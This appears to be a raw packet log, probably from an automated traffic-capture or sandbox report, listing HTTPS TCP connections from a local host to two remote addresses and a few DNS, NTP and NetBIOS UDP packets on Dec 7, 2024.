Dec 7, 2024 17:37:12.009162903 CET	443	50061	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.015476942 CET	50065	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.015510082 CET	443	50065	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.015661001 CET	50065	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.015945911 CET	50065	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.015959978 CET	443	50065	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.016695023 CET	50066	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.016707897 CET	443	50066	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.016758919 CET	50066	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.016889095 CET	50066	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.016894102 CET	443	50066	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.124711990 CET	443	50062	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.125062943 CET	50062	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.125082970 CET	443	50062	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.125484943 CET	50062	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.125489950 CET	443	50062	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.193151951 CET	443	50063	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.193627119 CET	50063	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.193640947 CET	443	50063	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.194041014 CET	50063	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.194045067 CET	443	50063	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.437408924 CET	443	50061	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.437478065 CET	443	50061	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.437670946 CET	50061	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.437670946 CET	50061	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.437712908 CET	50061	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.437721014 CET	443	50061	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.440285921 CET	50067	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.440326929 CET	443	50067	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.440412045 CET	50067	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.440552950 CET	50067	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.440570116 CET	443	50067	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.588398933 CET	443	50062	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.591474056 CET	443	50062	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.591535091 CET	50062	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.591564894 CET	50062	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.591564894 CET	50062	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.591582060 CET	443	50062	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.591589928 CET	443	50062	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.594052076 CET	50068	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.594080925 CET	443	50068	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.594168901 CET	50068	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.594322920 CET	50068	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.594338894 CET	443	50068	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.633198023 CET	443	50063	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.633219004 CET	443	50063	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.633261919 CET	443	50063	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.633279085 CET	50063	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.633348942 CET	50063	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.633457899 CET	50063	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.633457899 CET	50063	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.633467913 CET	443	50063	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.633476019 CET	443	50063	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.635348082 CET	50069	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.635366917 CET	443	50069	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.635468960 CET	50069	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.635600090 CET	50069	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.635613918 CET	443	50069	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.912465096 CET	443	50064	142.250.181.100	192.168.2.7
Dec 7, 2024 17:37:12.912761927 CET	50064	443	192.168.2.7	142.250.181.100
Dec 7, 2024 17:37:12.912789106 CET	443	50064	142.250.181.100	192.168.2.7
Dec 7, 2024 17:37:12.913139105 CET	443	50064	142.250.181.100	192.168.2.7
Dec 7, 2024 17:37:12.913440943 CET	50064	443	192.168.2.7	142.250.181.100
Dec 7, 2024 17:37:12.913501978 CET	443	50064	142.250.181.100	192.168.2.7
Dec 7, 2024 17:37:12.958338976 CET	50064	443	192.168.2.7	142.250.181.100
Dec 7, 2024 17:37:13.732697010 CET	443	50065	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:13.733485937 CET	443	50066	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:13.733561993 CET	50065	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:13.733613014 CET	443	50065	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:13.734116077 CET	50065	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:13.734122992 CET	443	50065	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:13.734237909 CET	50066	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:13.734252930 CET	443	50066	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:13.734627962 CET	50066	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:13.734632969 CET	443	50066	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.192115068 CET	443	50067	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.192972898 CET	50067	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.193008900 CET	443	50067	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.193922043 CET	50067	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.193927050 CET	443	50067	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.196120977 CET	443	50066	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.196149111 CET	443	50066	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.196198940 CET	443	50066	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.196211100 CET	50066	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.196249008 CET	50066	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.196608067 CET	50066	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.196616888 CET	443	50066	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.199691057 CET	50070	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.199713945 CET	443	50070	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.199830055 CET	50070	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.199989080 CET	50070	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.199997902 CET	443	50070	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.221072912 CET	443	50065	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.221103907 CET	443	50065	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.221118927 CET	443	50065	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.221220970 CET	50065	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.221245050 CET	443	50065	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.221297026 CET	50065	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.326149940 CET	443	50068	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.326745987 CET	50068	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.326756001 CET	443	50068	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.327305079 CET	50068	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.327308893 CET	443	50068	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.364990950 CET	443	50065	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.365046978 CET	443	50065	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.365123987 CET	50065	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.365154028 CET	50065	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.365473986 CET	50065	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.365499973 CET	443	50065	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.365513086 CET	50065	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.365518093 CET	443	50065	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.368571997 CET	50071	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.368628025 CET	443	50071	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.368715048 CET	50071	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.368868113 CET	50071	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.368884087 CET	443	50071	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.385981083 CET	443	50069	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.388712883 CET	50069	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.388734102 CET	443	50069	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.389215946 CET	50069	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.389220953 CET	443	50069	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.629282951 CET	443	50067	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.629297972 CET	443	50067	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.629417896 CET	50067	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.629442930 CET	443	50067	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.629733086 CET	50067	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.629739046 CET	443	50067	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.629755974 CET	50067	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.629888058 CET	443	50067	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.629914999 CET	443	50067	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.629975080 CET	50067	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.632716894 CET	50072	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.632755041 CET	443	50072	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.632838964 CET	50072	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.632987022 CET	50072	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.632997990 CET	443	50072	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.818248987 CET	443	50068	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.818269014 CET	443	50068	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.818285942 CET	443	50068	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.818330050 CET	50068	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.818341017 CET	443	50068	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.818356991 CET	50068	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.818389893 CET	50068	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.846815109 CET	443	50069	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.846849918 CET	443	50069	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.846906900 CET	50069	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.846935987 CET	443	50069	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.846976995 CET	50069	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.847250938 CET	50069	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.847256899 CET	443	50069	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.847275972 CET	50069	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.847444057 CET	443	50069	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.847482920 CET	443	50069	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.848304987 CET	50069	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.854082108 CET	50073	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.854115009 CET	443	50073	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.854681015 CET	50073	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.854907036 CET	50073	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.854917049 CET	443	50073	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.995269060 CET	443	50068	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.995330095 CET	443	50068	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.995342970 CET	50068	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.995347977 CET	443	50068	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.995393991 CET	50068	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.995569944 CET	50068	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.995589972 CET	443	50068	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:14.995599985 CET	50068	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:14.995604992 CET	443	50068	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:15.000262976 CET	50074	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:15.000283957 CET	443	50074	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:15.000361919 CET	50074	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:15.000780106 CET	50074	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:15.000790119 CET	443	50074	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:15.938606024 CET	443	50070	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:15.939044952 CET	50070	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:15.939064980 CET	443	50070	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:15.939476967 CET	50070	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:15.939481974 CET	443	50070	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.125788927 CET	443	50071	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.126315117 CET	50071	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:16.126343966 CET	443	50071	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.126668930 CET	50071	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:16.126673937 CET	443	50071	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.361366987 CET	443	50072	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.361794949 CET	50072	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:16.361824989 CET	443	50072	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.362304926 CET	50072	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:16.362317085 CET	443	50072	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.384016037 CET	443	50070	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.384044886 CET	443	50070	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.384083986 CET	50070	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:16.384094954 CET	443	50070	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.384392023 CET	50070	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:16.384404898 CET	443	50070	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.384412050 CET	50070	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:16.384560108 CET	443	50070	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.384592056 CET	443	50070	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.384649038 CET	50070	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:16.386820078 CET	50075	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:16.386864901 CET	443	50075	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.386934042 CET	50075	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:16.387088060 CET	50075	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:16.387101889 CET	443	50075	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.569020033 CET	443	50071	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.572762966 CET	443	50071	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.572824955 CET	50071	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:16.572863102 CET	50071	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:16.572880030 CET	443	50071	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.572891951 CET	50071	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:16.572896957 CET	443	50071	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.575948954 CET	50076	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:16.575987101 CET	443	50076	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.576052904 CET	50076	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:16.576188087 CET	50076	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:16.576200008 CET	443	50076	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.581861019 CET	443	50073	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.582189083 CET	50073	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:16.582217932 CET	443	50073	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.582611084 CET	50073	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:16.582616091 CET	443	50073	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.721110106 CET	443	50074	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.721534967 CET	50074	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:16.721561909 CET	443	50074	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.721977949 CET	50074	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:16.721987963 CET	443	50074	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.800111055 CET	443	50072	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.800179005 CET	443	50072	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.800225973 CET	50072	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:16.800386906 CET	50072	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:16.800406933 CET	443	50072	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.800416946 CET	50072	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:16.800422907 CET	443	50072	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.803179979 CET	50077	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:16.803225994 CET	443	50077	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:16.803286076 CET	50077	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:16.803457022 CET	50077	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:16.803474903 CET	443	50077	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:17.021684885 CET	443	50073	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:17.021770000 CET	443	50073	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:17.021816015 CET	50073	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:17.021982908 CET	50073	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:17.022011995 CET	443	50073	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:17.022026062 CET	50073	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:17.022032022 CET	443	50073	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:17.025460005 CET	50078	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:17.025501013 CET	443	50078	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:17.025573969 CET	50078	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:17.025707006 CET	50078	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:17.025719881 CET	443	50078	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:17.155682087 CET	443	50074	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:17.158919096 CET	443	50074	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:17.158962965 CET	50074	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:17.159010887 CET	50074	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:17.159010887 CET	50074	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:17.159037113 CET	443	50074	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:17.159045935 CET	443	50074	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:17.162055969 CET	50079	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:17.162097931 CET	443	50079	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:17.162164927 CET	50079	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:17.163621902 CET	50079	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:17.163635969 CET	443	50079	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:18.104239941 CET	443	50075	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:18.104746103 CET	50075	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:18.104773045 CET	443	50075	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:18.105195999 CET	50075	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:18.105201006 CET	443	50075	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:18.295774937 CET	443	50076	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:18.296243906 CET	50076	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:18.296278954 CET	443	50076	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:18.296694040 CET	50076	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:18.296700001 CET	443	50076	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:18.526110888 CET	443	50077	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:18.526573896 CET	50077	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:18.526616096 CET	443	50077	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:18.527044058 CET	50077	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:18.527054071 CET	443	50077	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:18.544157982 CET	443	50075	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:18.547528028 CET	443	50075	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:18.547571898 CET	443	50075	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:18.547575951 CET	50075	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:18.547611952 CET	50075	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:18.547677040 CET	50075	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:18.547704935 CET	443	50075	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:18.547719955 CET	50075	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:18.547724962 CET	443	50075	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:18.730300903 CET	443	50076	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:18.730375051 CET	443	50076	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:18.730428934 CET	50076	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:18.730623960 CET	50076	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:18.730623960 CET	50076	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:18.730648041 CET	443	50076	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:18.730657101 CET	443	50076	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:18.822401047 CET	443	50078	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:18.822856903 CET	50078	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:18.822885990 CET	443	50078	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:18.823290110 CET	50078	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:18.823295116 CET	443	50078	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:18.916431904 CET	443	50079	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:18.916892052 CET	50079	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:18.916944981 CET	443	50079	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:18.917463064 CET	50079	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:18.917469025 CET	443	50079	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:18.962162971 CET	443	50077	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:18.962244987 CET	443	50077	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:18.962308884 CET	50077	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:18.962423086 CET	50077	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:18.962449074 CET	443	50077	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:18.962462902 CET	50077	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:18.962469101 CET	443	50077	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:19.267497063 CET	443	50078	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:19.267573118 CET	443	50078	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:19.267637968 CET	50078	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:19.267833948 CET	50078	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:19.267855883 CET	443	50078	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:19.267867088 CET	50078	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:19.267872095 CET	443	50078	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:19.363226891 CET	443	50079	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:19.363298893 CET	443	50079	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:19.363364935 CET	50079	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:19.363547087 CET	50079	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:19.363563061 CET	443	50079	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:19.363573074 CET	50079	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:19.363578081 CET	443	50079	13.107.246.63	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 7, 2024 17:35:12.812237978 CET	50433	53	192.168.2.7	1.1.1.1
Dec 7, 2024 17:35:13.237821102 CET	53	50433	1.1.1.1	192.168.2.7
Dec 7, 2024 17:35:17.396471977 CET	123	123	192.168.2.7	40.81.94.65
Dec 7, 2024 17:35:18.732753992 CET	123	123	40.81.94.65	192.168.2.7
Dec 7, 2024 17:36:06.757955074 CET	53	57883	1.1.1.1	192.168.2.7
Dec 7, 2024 17:36:06.759957075 CET	53	62535	1.1.1.1	192.168.2.7
Dec 7, 2024 17:36:09.969702005 CET	53	60075	1.1.1.1	192.168.2.7
Dec 7, 2024 17:36:11.063280106 CET	138	138	192.168.2.7	192.168.2.255
Dec 7, 2024 17:36:11.162887096 CET	50002	53	192.168.2.7	1.1.1.1
Dec 7, 2024 17:36:11.163136959 CET	57562	53	192.168.2.7	1.1.1.1
Dec 7, 2024 17:36:11.300299883 CET	53	50002	1.1.1.1	192.168.2.7
Dec 7, 2024 17:36:11.300337076 CET	53	57562	1.1.1.1	192.168.2.7
Dec 7, 2024 17:36:13.395772934 CET	55545	53	192.168.2.7	1.1.1.1
Dec 7, 2024 17:36:13.396142006 CET	54516	53	192.168.2.7	1.1.1.1
Dec 7, 2024 17:36:23.257415056 CET	53	59911	1.1.1.1	192.168.2.7
Dec 7, 2024 17:36:25.481206894 CET	56039	53	192.168.2.7	1.1.1.1
Dec 7, 2024 17:36:25.481360912 CET	60963	53	192.168.2.7	1.1.1.1
